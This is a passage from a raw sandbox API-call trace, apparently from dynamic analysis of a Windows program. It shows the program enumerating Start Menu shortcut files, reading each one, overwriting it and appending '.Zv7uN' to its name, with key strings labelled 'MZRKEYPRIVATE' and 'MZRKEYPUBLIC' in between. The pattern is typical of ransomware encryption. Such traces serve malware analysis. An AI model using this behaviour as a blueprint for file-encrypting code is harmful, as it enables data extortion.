dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.515] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0131.515] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.515] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4ce [0131.516] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.516] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x4ce, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x4ce, lpOverlapped=0x0) returned 1 [0131.518] CloseHandle (hObject=0x1e8) returned 1 [0131.518] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\calculator.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.520] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x4ce, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x4ce, lpOverlapped=0x0) returned 1 [0131.522] CloseHandle (hObject=0x1e8) returned 1 [0131.523] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\calculator.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\calculator.lnk.zv7un")) returned 1 [0131.525] GetCurrentThreadId () returned 0xa30 [0131.525] GetCurrentThreadId () returned 0xa30 [0131.525] GetCurrentThreadId () returned 0xa30 [0131.525] GetCurrentThreadId () returned 0xa30 [0131.525] GetCurrentThreadId () returned 0xa30 [0131.525] GetCurrentThreadId () returned 0xa30 [0131.525] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec08153b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec08153b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0131.525] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.525] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.525] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27fbfe08, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x27fbfe08, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28032229, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="displayswitch.lnk", cAlternateFileName="DISPLA~1.LNK")) returned 1 [0131.525] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.525] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.525] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\displayswitch.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27fbfe08, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x27fbfe08, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28032229, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f2)) returned 1 [0131.525] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\displayswitch.lnk")) returned 0x20 [0131.526] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk", dwFileAttributes=0x80) returned 1 [0131.530] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.530] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.531] GetCurrentThreadId () returned 0xa30 [0131.531] GetCurrentThreadId () returned 0xa30 [0131.531] GetCurrentThreadId () returned 0xa30 [0131.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.532] GetCurrentThreadId () returned 0xa30 [0131.532] GetCurrentThreadId () returned 0xa30 [0131.532] GetCurrentThreadId () returned 0xa30 [0131.532] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\displayswitch.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.532] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0131.532] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.533] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4f2 [0131.533] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.533] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x4f2, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x4f2, lpOverlapped=0x0) returned 1 [0131.535] CloseHandle (hObject=0x1e8) returned 1 [0131.535] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\displayswitch.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.537] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x4f2, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x4f2, lpOverlapped=0x0) returned 1 [0131.539] CloseHandle (hObject=0x1e8) returned 1 [0131.539] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\displayswitch.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\displayswitch.lnk.zv7un")) returned 1 [0131.541] GetCurrentThreadId () returned 0xa30 [0131.541] GetCurrentThreadId () returned 0xa30 [0131.541] GetCurrentThreadId () returned 0xa30 [0131.541] GetCurrentThreadId () returned 0xa30 [0131.541] GetCurrentThreadId () returned 0xa30 [0131.541] GetCurrentThreadId () returned 0xa30 [0131.541] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c2bb60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c2bb60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Math Input Panel.lnk", cAlternateFileName="MATHIN~1.LNK")) returned 1 [0131.541] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.541] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.541] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: 